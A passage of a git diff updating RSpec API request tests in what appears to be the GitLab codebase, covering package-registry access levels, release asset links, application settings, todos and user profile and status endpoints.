let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases }.compact }
let(:url) { "/groups/#{group.id}/-/packages/nuget/query?#{query_parameters.to_query}" }
- it_behaves_like 'returning response status', :forbidden
+ it_behaves_like 'returning response status', :success
end
end
diff --git a/spec/requests/api/pages_domains_spec.rb b/spec/requests/api/pages_domains_spec.rb
index 65fcf9e006a..ba1fb5105b8 100644
--- a/spec/requests/api/pages_domains_spec.rb
+++ b/spec/requests/api/pages_domains_spec.rb
@@ -265,6 +265,7 @@ RSpec.describe API::PagesDomains, feature_category: :pages do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: kind_of(Numeric),
domain: params[:domain]
)
@@ -393,6 +394,7 @@ RSpec.describe API::PagesDomains, feature_category: :pages do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: pages_domain_secure.id,
domain: pages_domain_secure.domain
)
end
@@ -556,6 +558,7 @@ RSpec.describe API::PagesDomains, feature_category: :pages do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
diff --git a/spec/requests/api/project_debian_distributions_spec.rb b/spec/requests/api/project_debian_distributions_spec.rb
index 9807f177c5d..dfe93e9fbad 100644
--- a/spec/requests/api/project_debian_distributions_spec.rb
+++ b/spec/requests/api/project_debian_distributions_spec.rb
@@ -5,7 +5,17 @@ RSpec.describe API::ProjectDebianDistributions, feature_category: :package_regis
include HttpBasicAuthHelpers
include WorkhorseHelpers
- include_context 'Debian repository shared context', :project, true do
+ include_context 'Debian repository shared context', :project, false do
+ shared_examples 'accept GET request on private project with access to package registry for everyone' do
+ include_context 'Debian repository access', :private, :anonymous, :basic do
+ before do
+ container.project_feature.reload.update!(package_registry_access_level: ProjectFeature::PUBLIC)
+ end
+
+ it_behaves_like 'Debian distributions GET request', :success
+ end
+ end
+
describe 'POST projects/:id/debian_distributions' do
let(:method) { :post }
let(:url) { "/projects/#{container.id}/debian_distributions" }
@@ -18,24 +28,37 @@ RSpec.describe API::ProjectDebianDistributions, feature_category: :package_regis
it_behaves_like 'Debian distributions write endpoint', 'GET', :bad_request, /^{"message":{"codename":\["has already been taken"\]}}$/
end
+
+ context 'with access to package registry for everyone' do
+ include_context 'Debian repository access', :private, :anonymous, :basic do
+ before do
+ container.project_feature.reload.update!(package_registry_access_level: ProjectFeature::PUBLIC)
+ end
+
+ it_behaves_like 'Debian distributions POST request', :not_found
+ end
+ end
end
describe 'GET projects/:id/debian_distributions' do
let(:url) { "/projects/#{container.id}/debian_distributions" }
it_behaves_like 'Debian distributions read endpoint', 'GET', :success, /^\[{.*"codename":"existing-codename",.*"components":\["existing-component"\],.*"architectures":\["all","existing-arch"\]/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/debian_distributions/:codename' do
let(:url) { "/projects/#{container.id}/debian_distributions/#{distribution.codename}" }
it_behaves_like 'Debian distributions read endpoint', 'GET', :success, /^{.*"codename":"existing-codename",.*"components":\["existing-component"\],.*"architectures":\["all","existing-arch"\]/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/debian_distributions/:codename/key.asc' do
let(:url) { "/projects/#{container.id}/debian_distributions/#{distribution.codename}/key.asc" }
it_behaves_like 'Debian distributions read endpoint', 'GET', :success, /^-----BEGIN PGP PUBLIC KEY BLOCK-----/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'PUT projects/:id/debian_distributions/:codename' do
diff --git a/spec/requests/api/project_export_spec.rb b/spec/requests/api/project_export_spec.rb
index fdd76c63069..096f0b73b4c 100644
--- a/spec/requests/api/project_export_spec.rb
+++ b/spec/requests/api/project_export_spec.rb
@@ -511,6 +511,10 @@ RSpec.describe API::ProjectExport, :clean_gitlab_redis_cache, feature_category:
let_it_be(:status_path) { "/projects/#{project.id}/export_relations/status" }
+ before do
+ stub_application_setting(bulk_import_enabled: true)
+ end
+
context 'when user is a maintainer' do
before do
project.add_maintainer(user)
@@ -584,9 +588,9 @@ RSpec.describe API::ProjectExport, :clean_gitlab_redis_cache, feature_category:
end
end
- context 'with bulk_import FF disabled' do
+ context 'with bulk_import is disabled' do
before do
- stub_feature_flags(bulk_import: false)
+ stub_application_setting(bulk_import_enabled: false)
end
describe 'POST /projects/:id/export_relations' do
@@ -641,5 +645,11 @@ RSpec.describe API::ProjectExport, :clean_gitlab_redis_cache, feature_category:
end
end
end
+
+ context 'when bulk import is disabled' do
+ it_behaves_like '404 response' do
+ let(:request) { get api(path, user) }
+ end
+ end
end
end
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index 6e8168c0ee1..d62f8a32453 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -1169,7 +1169,7 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:bad_request)
end
- it "assigns attributes to project", :aggregate_failures do
+ it 'assigns attributes to project', :aggregate_failures do
project = attributes_for(:project, {
path: 'camelCasePath',
issues_enabled: false,
@@ -1198,6 +1198,11 @@ RSpec.describe API::Projects do
attrs[:feature_flags_access_level] = 'disabled'
attrs[:infrastructure_access_level] = 'disabled'
attrs[:monitor_access_level] = 'disabled'
+ attrs[:snippets_access_level] = 'disabled'
+ attrs[:wiki_access_level] = 'disabled'
+ attrs[:builds_access_level] = 'disabled'
+ attrs[:merge_requests_access_level] = 'disabled'
+ attrs[:issues_access_level] = 'disabled'
end
post api('/projects', user), params: project
@@ -1228,6 +1233,11 @@ RSpec.describe API::Projects do
expect(project.project_feature.feature_flags_access_level).to eq(ProjectFeature::DISABLED)
expect(project.project_feature.infrastructure_access_level).to eq(ProjectFeature::DISABLED)
expect(project.project_feature.monitor_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.wiki_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.builds_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.merge_requests_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.issues_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.snippets_access_level).to eq(ProjectFeature::DISABLED)
end
it 'assigns container_registry_enabled to project', :aggregate_failures do
@@ -2278,7 +2288,7 @@ RSpec.describe API::Projects do
end
end
- context 'when authenticated as an admin' do
+ context 'when authenticated as an admin', :with_license do
before do
stub_container_registry_config(enabled: true, host_port: 'registry.example.org:5000')
end
diff --git a/spec/requests/api/release/links_spec.rb b/spec/requests/api/release/links_spec.rb
index 6036960c43c..4a7821fcb0a 100644
--- a/spec/requests/api/release/links_spec.rb
+++ b/spec/requests/api/release/links_spec.rb
@@ -222,6 +222,24 @@ RSpec.describe API::Release::Links, feature_category: :release_orchestration do
expect(response).to match_response_schema('release/link')
end
+ context 'when using `direct_asset_path`' do
+ before do
+ params[:direct_asset_path] = params.delete(:filepath)
+ end
+
+ it 'creates a new release link successfully' do
+ expect do
+ post api("/projects/#{project.id}/releases/v0.1/assets/links", maintainer), params: params
+ end.to change { Releases::Link.count }.by(1)
+
+ release.reload
+
+ expect(last_release_link.name).to eq('awesome-app.dmg')
+ expect(last_release_link.filepath).to eq('/binaries/awesome-app.dmg')
+ expect(last_release_link.url).to eq('https://example.com/download/awesome-app.dmg')
+ end
+ end
+
context 'when using JOB-TOKEN auth' do
let(:job) { create(:ci_build, :running, user: maintainer) }
@@ -357,6 +375,15 @@ RSpec.describe API::Release::Links, feature_category: :release_orchestration do
expect(response).to match_response_schema('release/link')
end
+ context 'when using `direct_asset_path`' do
+ it 'updates the release link' do
+ put api("/projects/#{project.id}/releases/v0.1/assets/links/#{release_link.id}", maintainer),
+ params: params.merge(direct_asset_path: '/binaries/awesome-app.msi')
+
+ expect(json_response['direct_asset_url']).to eq("http://localhost/#{project.namespace.path}/#{project.name}/-/releases/#{release.tag}/downloads/binaries/awesome-app.msi")
+ end
+ end
+
context 'when using JOB-TOKEN auth' do
let(:job) { create(:ci_build, :running, user: maintainer) }
diff --git a/spec/requests/api/releases_spec.rb b/spec/requests/api/releases_spec.rb
index a1aff9a6b1c..e209ad2b2d5 100644
--- a/spec/requests/api/releases_spec.rb
+++ b/spec/requests/api/releases_spec.rb
@@ -573,7 +573,7 @@ RSpec.describe API::Releases, feature_category: :release_orchestration do
end
end
- describe 'GET /projects/:id/releases/:tag_name/downloads/*file_path' do
+ describe 'GET /projects/:id/releases/:tag_name/downloads/*direct_asset_path' do
let!(:release) { create(:release, project: project, tag: 'v0.1', author: maintainer) }
let!(:link) { create(:release_link, release: release, url: "#{url}#{filepath}", filepath: filepath) }
let(:filepath) { '/bin/bigfile.exe' }
@@ -637,6 +637,16 @@ RSpec.describe API::Releases, feature_category: :release_orchestration do
end
end
+ context 'when direct_asset_path is used' do
+ let(:direct_asset_path) { filepath }
+
+ it 'redirects to the file download URL successfully' do
+ get api("/projects/#{project.id}/releases/v0.1/downloads#{direct_asset_path}", maintainer)
+
+ expect(response).to redirect_to("#{url}#{direct_asset_path}")
+ end
+ end
+
context 'when filepath does not exists' do
it 'returns 404 for maintater' do
get api("/projects/#{project.id}/releases/v0.1/downloads/bin/not_existing.exe", maintainer)
@@ -911,6 +921,22 @@ RSpec.describe API::Releases, feature_category: :release_orchestration do
end.not_to change { Project.find_by_id(project.id).repository.tag_count }
end
+ context 'when using `direct_asset_path` for the asset link' do
+ before do
+ params[:direct_asset_path] = params.delete(:filepath)
+ end
+
+ it 'creates a new release successfully' do
+ expect do
+ post api("/projects/#{project.id}/releases", maintainer), params: params
+ end.to change { Release.count }.by(1)
+
+ release = project.releases.last
+
+ expect(release.links.last.filepath).to eq('/permanent/path/to/runbook')
+ end
+ end
+
context 'with protected tag' do
context 'when user has access to the protected tag' do
let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
diff --git a/spec/requests/api/repositories_spec.rb b/spec/requests/api/repositories_spec.rb
index 393ada1da4f..555ba2bc978 100644
--- a/spec/requests/api/repositories_spec.rb
+++ b/spec/requests/api/repositories_spec.rb
@@ -353,15 +353,9 @@ RSpec.describe API::Repositories, feature_category: :source_code_management do
expect(response).to have_gitlab_http_status(:too_many_requests)
end
- context "when hotlinking detection is enabled" do
- before do
- stub_feature_flags(repository_archive_hotlinking_interception: true)
- end
-
- it_behaves_like "hotlink interceptor" do
- let(:http_request) do
- get api(route, current_user), headers: headers
- end
+ it_behaves_like "hotlink interceptor" do
+ let(:http_request) do
+ get api(route, current_user), headers: headers
end
end
end
diff --git a/spec/requests/api/rubygem_packages_spec.rb b/spec/requests/api/rubygem_packages_spec.rb
index 6f048fa57a8..34cf6033811 100644
--- a/spec/requests/api/rubygem_packages_spec.rb
+++ b/spec/requests/api/rubygem_packages_spec.rb
@@ -55,11 +55,11 @@ RSpec.describe API::RubygemPackages, feature_category: :package_registry do
end
where(:user_role, :token_type, :valid_token, :status) do
- :guest | :personal_access_token | true | :not_found
+ :guest | :personal_access_token | true | :forbidden
:guest | :personal_access_token | false | :unauthorized
:guest | :deploy_token | true | :not_found
:guest | :deploy_token | false | :unauthorized
- :guest | :job_token | true | :not_found
+ :guest | :job_token | true | :forbidden
:guest | :job_token | false | :unauthorized
:reporter | :personal_access_token | true | :not_found
:reporter | :personal_access_token | false | :unauthorized
@@ -174,6 +174,17 @@ RSpec.describe API::RubygemPackages, feature_category: :package_registry do
end
end
+ context 'with access to package registry for everyone' do
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, property: 'i_package_rubygems_user' } }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.project_feature.update!(package_registry_access_level: ProjectFeature::PUBLIC)
+ end
+
+ it_behaves_like 'Rubygems gem download', :anonymous, :success
+ end
+
context 'with package files pending destruction' do
let_it_be(:package_file_pending_destruction) { create(:package_file, :pending_destruction, :xml, package: package, file_name: file_name) }
@@ -423,5 +434,16 @@ RSpec.describe API::RubygemPackages, feature_category: :package_registry do
it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
end
end
+
+ context 'with access to package registry for everyone' do
+ let(:params) { {} }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ project.project_feature.update!(package_registry_access_level: ProjectFeature::PUBLIC)
+ end
+
+ it_behaves_like 'dependency endpoint success', :anonymous, :success
+ end
end
end
diff --git a/spec/requests/api/search_spec.rb b/spec/requests/api/search_spec.rb
index 430d3b7d187..035f53db12e 100644
--- a/spec/requests/api/search_spec.rb
+++ b/spec/requests/api/search_spec.rb
@@ -377,6 +377,26 @@ RSpec.describe API::Search, feature_category: :global_search do
end
end
+ context 'global search is disabled for the given scope' do
+ it 'returns forbidden response' do
+ allow_next_instance_of(SearchService) do |instance|
+ allow(instance).to receive(:global_search_enabled_for_scope?).and_return false
+ end
+ get api(endpoint, user), params: { search: 'awesome', scope: 'issues' }
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'global search is enabled for the given scope' do
+ it 'returns forbidden response' do
+ allow_next_instance_of(SearchService) do |instance|
+ allow(instance).to receive(:global_search_enabled_for_scope?).and_return true
+ end
+ get api(endpoint, user), params: { search: 'awesome', scope: 'issues' }
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
it 'increments the custom search sli error rate with error false if no error occurred' do
expect(Gitlab::Metrics::GlobalSearchSlis).to receive(:record_error_rate).with(
error: false,
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index e93ef52ef03..4d85849cff3 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -65,6 +65,7 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting, featu
expect(json_response['can_create_group']).to eq(true)
expect(json_response['jira_connect_application_key']).to eq(nil)
expect(json_response['jira_connect_proxy_url']).to eq(nil)
+ expect(json_response['user_defaults_to_private_profile']).to eq(false)
end
end
@@ -166,7 +167,9 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting, featu
can_create_group: false,
jira_connect_application_key: '123',
jira_connect_proxy_url: 'http://example.com',
- bulk_import_enabled: false
+ bulk_import_enabled: false,
+ allow_runner_registration_token: true,
+ user_defaults_to_private_profile: true
}
expect(response).to have_gitlab_http_status(:ok)
@@ -232,6 +235,8 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting, featu
expect(json_response['jira_connect_application_key']).to eq('123')
expect(json_response['jira_connect_proxy_url']).to eq('http://example.com')
expect(json_response['bulk_import_enabled']).to be(false)
+ expect(json_response['allow_runner_registration_token']).to be(true)
+ expect(json_response['user_defaults_to_private_profile']).to be(true)
end
end
@@ -801,5 +806,62 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting, featu
.to include(a_string_matching('is not a number'))
end
end
+
+ context 'with housekeeping enabled' do
+ it 'at least one of housekeeping_incremental_repack_period or housekeeping_optimize_repository_period is required' do
+ put api("/application/settings", admin), params: {
+ housekeeping_enabled: true
+ }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq(
+ "housekeeping_incremental_repack_period, housekeeping_optimize_repository_period are missing, exactly one parameter must be provided"
+ )
+ end
+
+ context 'when housekeeping_incremental_repack_period is specified' do
+ it 'requires all three housekeeping settings' do
+ put api("/application/settings", admin), params: {
+ housekeeping_enabled: true,
+ housekeeping_incremental_repack_period: 10
+ }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq(
+ "housekeeping_full_repack_period, housekeeping_gc_period, housekeeping_incremental_repack_period provide all or none of parameters"
+ )
+ end
+
+ it 'returns housekeeping_optimize_repository_period value for all housekeeping settings attributes' do
+ put api("/application/settings", admin), params: {
+ housekeeping_enabled: true,
+ housekeeping_gc_period: 150,
+ housekeeping_full_repack_period: 125,
+ housekeeping_incremental_repack_period: 100
+ }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['housekeeping_optimize_repository_period']).to eq(100)
+ expect(json_response['housekeeping_full_repack_period']).to eq(100)
+ expect(json_response['housekeeping_gc_period']).to eq(100)
+ expect(json_response['housekeeping_incremental_repack_period']).to eq(100)
+ end
+ end
+
+ context 'when housekeeping_optimize_repository_period is specified' do
+ it 'returns housekeeping_optimize_repository_period value for all housekeeping settings attributes' do
+ put api("/application/settings", admin), params: {
+ housekeeping_enabled: true,
+ housekeeping_optimize_repository_period: 100
+ }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['housekeeping_optimize_repository_period']).to eq(100)
+ expect(json_response['housekeeping_full_repack_period']).to eq(100)
+ expect(json_response['housekeeping_gc_period']).to eq(100)
+ expect(json_response['housekeeping_incremental_repack_period']).to eq(100)
+ end
+ end
+ end
end
end
diff --git a/spec/requests/api/snippet_repository_storage_moves_spec.rb b/spec/requests/api/snippet_repository_storage_moves_spec.rb
index 6081531aee9..9afd8147eb6 100644
--- a/spec/requests/api/snippet_repository_storage_moves_spec.rb
+++ b/spec/requests/api/snippet_repository_storage_moves_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::SnippetRepositoryStorageMoves, feature_category: :gitaly do
+RSpec.describe API::SnippetRepositoryStorageMoves, :with_license, feature_category: :gitaly do
it_behaves_like 'repository_storage_moves API', 'snippets' do
let_it_be(:container) { create(:snippet, :repository).tap { |snippet| snippet.create_repository } }
let_it_be(:storage_move) { create(:snippet_repository_storage_move, :scheduled, container: container) }
diff --git a/spec/requests/api/suggestions_spec.rb b/spec/requests/api/suggestions_spec.rb
index 93b2435c601..4a4692684e3 100644
--- a/spec/requests/api/suggestions_spec.rb
+++ b/spec/requests/api/suggestions_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Suggestions, feature_category: :code_review do
+RSpec.describe API::Suggestions, feature_category: :code_review_workflow do
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
diff --git a/spec/requests/api/todos_spec.rb b/spec/requests/api/todos_spec.rb
index 5a342f79926..8c3bdd5a9f0 100644
--- a/spec/requests/api/todos_spec.rb
+++ b/spec/requests/api/todos_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
include DesignManagementTestHelpers
let_it_be(:group) { create(:group) }
+ let_it_be(:group_2) { create(:group) }
let_it_be(:project_1) { create(:project, :repository, group: group) }
let_it_be(:project_2) { create(:project) }
let_it_be(:author_1) { create(:user) }
@@ -15,7 +16,8 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
let_it_be(:work_item) { create(:work_item, :task, project: project_1) }
let_it_be(:merge_request) { create(:merge_request, source_project: project_1) }
let_it_be(:alert) { create(:alert_management_alert, project: project_1) }
- let_it_be(:group_request_todo) { create(:todo, author: author_1, user: john_doe, target: group, action: Todo::MEMBER_ACCESS_REQUESTED) }
+ let_it_be(:project_request_todo) { create(:todo, author: author_1, user: john_doe, target: project_2, action: Todo::MEMBER_ACCESS_REQUESTED) }
+ let_it_be(:group_request_todo) { create(:todo, author: author_1, user: john_doe, target: group_2, action: Todo::MEMBER_ACCESS_REQUESTED) }
let_it_be(:alert_todo) { create(:todo, project: project_1, author: john_doe, user: john_doe, target: alert) }
let_it_be(:merge_request_todo) { create(:todo, project: project_1, author: author_2, user: john_doe, target: merge_request) }
let_it_be(:pending_1) { create(:todo, :mentioned, project: project_1, author: author_1, user: john_doe, target: issue) }
@@ -72,7 +74,7 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- expect(json_response.length).to eq(7)
+ expect(json_response.length).to eq(8)
expect(json_response[0]).to include(
'id' => pending_5.id,
@@ -133,11 +135,23 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
'target_type' => 'Namespace',
'action_name' => 'member_access_requested',
'target' => hash_including(
- 'id' => group.id,
- 'name' => group.name,
- 'full_path' => group.full_path
+ 'id' => group_2.id,
+ 'name' => group_2.name,
+ 'full_path' => group_2.full_path
),
- 'target_url' => Gitlab::Routing.url_helpers.group_group_members_url(group, tab: 'access_requests')
+ 'target_url' => Gitlab::Routing.url_helpers.group_group_members_url(group_2, tab: 'access_requests')
+ )
+
+ expect(json_response[7]).to include(
+ 'target_type' => 'Project',
+ 'action_name' => 'member_access_requested',
+ 'target' => hash_including(
+ 'id' => project_2.id,
+ 'name' => project_2.name,
+ 'path' => project_2.path
+ ),
+ 'target_url' => Gitlab::Routing.url_helpers.project_project_members_url(project_2, tab: 'access_requests'),
+ 'body' => project_2.full_path
)
end
@@ -149,7 +163,7 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
get api('/todos', john_doe)
- expect(json_response.count).to eq(7)
+ expect(json_response.count).to eq(8)
expect(json_response.map { |t| t['id'] }).not_to include(no_access_todo.id, pending_4.id)
end
end
@@ -242,8 +256,10 @@ RSpec.describe API::Todos, feature_category: :source_code_management do
merge_request_3 = create(:merge_request, :jira_branch, source_project: new_todo.project)
create(:on_commit_todo, project: new_todo.project, author: author_1, user: john_doe, target: merge_request_3)
create(:todo, project: new_todo.project, author: author_2, user: john_doe, target: merge_request_3)
+ create(:todo, author: author_2, user: john_doe, target: project_2, action: Todo::MEMBER_ACCESS_REQUESTED)
+ create(:todo, author: author_2, user: john_doe, target: group_2, action: Todo::MEMBER_ACCESS_REQUESTED)
- expect { get api('/todos', john_doe) }.not_to exceed_query_limit(control1).with_threshold(6)
+ expect { get api('/todos', john_doe) }.not_to exceed_query_limit(control1).with_threshold(5)
control2 = ActiveRecord::QueryRecorder.new { get api('/todos', john_doe) }
create_issue_todo_for(john_doe)
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index bfb71d95f5e..c063187fdf4 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -1454,6 +1454,46 @@ RSpec.describe API::Users, feature_category: :users do
include_examples 'does not allow the "read_user" scope'
end
+
+ context "`private_profile` attribute" do
+ context "based on the application setting" do
+ before do
+ stub_application_setting(user_defaults_to_private_profile: true)
+ end
+
+ let(:params) { attributes_for(:user) }
+
+ shared_examples_for 'creates the user with the value of `private_profile` based on the application setting' do
+ specify do
+ post api("/users", admin), params: params
+
+ expect(response).to have_gitlab_http_status(:created)
+ user = User.find_by(id: json_response['id'], private_profile: true)
+ expect(user).to be_present
+ end
+ end
+
+ context 'when the attribute is not overridden in params' do
+ it_behaves_like 'creates the user with the value of `private_profile` based on the application setting'
+ end
+
+ context 'when the attribute is overridden in params' do
+ it 'creates the user with the value of `private_profile` same as the value of the overridden param' do
+ post api("/users", admin), params: params.merge(private_profile: false)
+
+ expect(response).to have_gitlab_http_status(:created)
+ user = User.find_by(id: json_response['id'], private_profile: false)
+ expect(user).to be_present
+ end
+
+ context 'overridden as `nil`' do
+ let(:params) { attributes_for(:user, private_profile: nil) }
+
+ it_behaves_like 'creates the user with the value of `private_profile` based on the application setting'
+ end
+ end
+ end
+ end
end
describe "PUT /users/:id" do
@@ -1634,12 +1674,6 @@ RSpec.describe API::Users, feature_category: :users do
expect(user.reload.external?).to be_truthy
end
- it "private profile is false by default" do
- put api("/users/#{user.id}", admin), params: {}
-
- expect(user.reload.private_profile).to eq(false)
- end
-
it "does have default values for theme and color-scheme ID" do
put api("/users/#{user.id}", admin), params: {}
@@ -1647,13 +1681,6 @@ RSpec.describe API::Users, feature_category: :users do
expect(user.reload.color_scheme_id).to eq(Gitlab::ColorSchemes.default.id)
end
- it "updates private profile" do
- put api("/users/#{user.id}", admin), params: { private_profile: true }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(user.reload.private_profile).to eq(true)
- end
-
it "updates viewing diffs file by file" do
put api("/users/#{user.id}", admin), params: { view_diffs_file_by_file: true }
@@ -1661,22 +1688,40 @@ RSpec.describe API::Users, feature_category: :users do
expect(user.reload.user_preference.view_diffs_file_by_file?).to eq(true)
end
- it "updates private profile to false when nil is given" do
- user.update!(private_profile: true)
+ context 'updating `private_profile`' do
+ it "updates private profile" do
+ current_value = user.private_profile
+ new_value = !current_value
- put api("/users/#{user.id}", admin), params: { private_profile: nil }
+ put api("/users/#{user.id}", admin), params: { private_profile: new_value }
- expect(response).to have_gitlab_http_status(:ok)
- expect(user.reload.private_profile).to eq(false)
- end
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(user.reload.private_profile).to eq(new_value)
+ end
+
+ context 'when `private_profile` is set to `nil`' do
+ before do
+ stub_application_setting(user_defaults_to_private_profile: true)
+ end
- it "does not modify private profile when field is not provided" do
- user.update!(private_profile: true)
+ it "updates private_profile to value of the application setting" do
+ user.update!(private_profile: false)
- put api("/users/#{user.id}", admin), params: {}
+ put api("/users/#{user.id}", admin), params: { private_profile: nil }
- expect(response).to have_gitlab_http_status(:ok)
- expect(user.reload.private_profile).to eq(true)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(user.reload.private_profile).to eq(true)
+ end
+ end
+
+ it "does not modify private profile when field is not provided" do
+ user.update!(private_profile: true)
+
+ put api("/users/#{user.id}", admin), params: {}
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(user.reload.private_profile).to eq(true)
+ end
end
it "does not modify theme or color-scheme ID when field is not provided" do
@@ -3617,6 +3662,15 @@ RSpec.describe API::Users, feature_category: :users do
expect(response.body).to eq('true')
expect(user.reload.state).to eq('blocked')
end
+
+ it 'saves a custom attribute', :freeze_time, feature_category: :insider_threat do
+ block_user
+
+ custom_attribute = user.custom_attributes.last
+
+ expect(custom_attribute.key).to eq(UserCustomAttribute::BLOCKED_BY)
+ expect(custom_attribute.value).to eq("#{admin.username}/#{admin.id}+#{Time.current}")
+ end
end
context 'with an ldap blocked user' do
@@ -3708,6 +3762,15 @@ RSpec.describe API::Users, feature_category: :users do
expect(response).to have_gitlab_http_status(:created)
expect(blocked_user.reload.state).to eq('active')
end
+
+ it 'saves a custom attribute', :freeze_time, feature_category: :insider_threat do
+ unblock_user
+
+ custom_attribute = blocked_user.custom_attributes.last
+
+ expect(custom_attribute.key).to eq(UserCustomAttribute::UNBLOCKED_BY)
+ expect(custom_attribute.value).to eq("#{admin.username}/#{admin.id}+#{Time.current}")
+ end
end
context 'with a ldap blocked user' do
@@ -4045,60 +4108,164 @@ RSpec.describe API::Users, feature_category: :users do
end
end
- describe 'GET /user/status' do
- let(:path) { '/user/status' }
+ describe '/user/status' do
+ let(:user_status) { create(:user_status, clear_status_at: 8.hours.from_now) }
+ let(:user_with_status) { user_status.user }
+ let(:params) { {} }
+ let(:request_user) { user }
- it_behaves_like 'rendering user status'
- end
+ shared_examples '/user/status successful response' do
+ context 'when request is successful' do
+ let(:params) { { emoji: 'smirk', message: 'hello world' } }
- describe 'PUT /user/status' do
- it 'saves the status' do
- put api('/user/status', user), params: { emoji: 'smirk', message: 'hello world' }
+ it 'saves the status' do
+ set_user_status
- expect(response).to have_gitlab_http_status(:success)
- expect(json_response['emoji']).to eq('smirk')
+ expect(response).to have_gitlab_http_status(:success)
+ expect(json_response['emoji']).to eq('smirk')
+ expect(json_response['message']).to eq('hello world')
+ end
+ end
end
- it 'renders errors when the status was invalid' do
- put api('/user/status', user), params: { emoji: 'does not exist', message: 'hello world' }
+ shared_examples '/user/status unsuccessful response' do
+ context 'when request is unsuccessful' do
+ let(:params) { { emoji: 'does not exist', message: 'hello world' } }
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['message']['emoji']).to be_present
+ it 'renders errors' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']['emoji']).to be_present
+ end
+ end
end
- it 'deletes the status when passing empty values' do
- put api('/user/status', user)
+ shared_examples '/user/status passing nil for params' do
+ context 'when passing nil for params' do
+ let(:params) { { emoji: nil, message: nil, clear_status_after: nil } }
+ let(:request_user) { user_with_status }
- expect(response).to have_gitlab_http_status(:success)
- expect(user.reload.status).to be_nil
+ it 'deletes the status' do
+ set_user_status
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status).to be_nil
+ end
+ end
end
- context 'when clear_status_after is given' do
- it 'sets the clear_status_at column' do
- freeze_time do
+ shared_examples '/user/status clear_status_after field' do
+ context 'when clear_status_after is valid', :freeze_time do
+ let(:params) { { emoji: 'smirk', message: 'hello world', clear_status_after: '3_hours' } }
+
+ it 'sets the clear_status_at column' do
expected_clear_status_at = 3.hours.from_now
- put api('/user/status', user), params: { emoji: 'smirk', message: 'hello world', clear_status_after: '3_hours' }
+ set_user_status
expect(response).to have_gitlab_http_status(:success)
- expect(user.status.reload.clear_status_at).to be_within(1.minute).of(expected_clear_status_at)
- expect(Time.parse(json_response["clear_status_at"])).to be_within(1.minute).of(expected_clear_status_at)
+ expect(user.status.clear_status_at).to be_like_time(expected_clear_status_at)
+ expect(Time.parse(json_response["clear_status_at"])).to be_like_time(expected_clear_status_at)
end
end
- it 'unsets the clear_status_at column' do
- user.create_status!(clear_status_at: 5.hours.ago)
+ context 'when clear_status_after is nil' do
+ let(:params) { { emoji: 'smirk', message: 'hello world', clear_status_after: nil } }
+ let(:request_user) { user_with_status }
- put api('/user/status', user), params: { emoji: 'smirk', message: 'hello world', clear_status_after: nil }
+ it 'unsets the clear_status_at column' do
+ set_user_status
- expect(response).to have_gitlab_http_status(:success)
- expect(user.status.reload.clear_status_at).to be_nil
+ expect(response).to have_gitlab_http_status(:success)
+ expect(user_with_status.status.clear_status_at).to be_nil
+ end
end
- it 'raises error when unknown status value is given' do
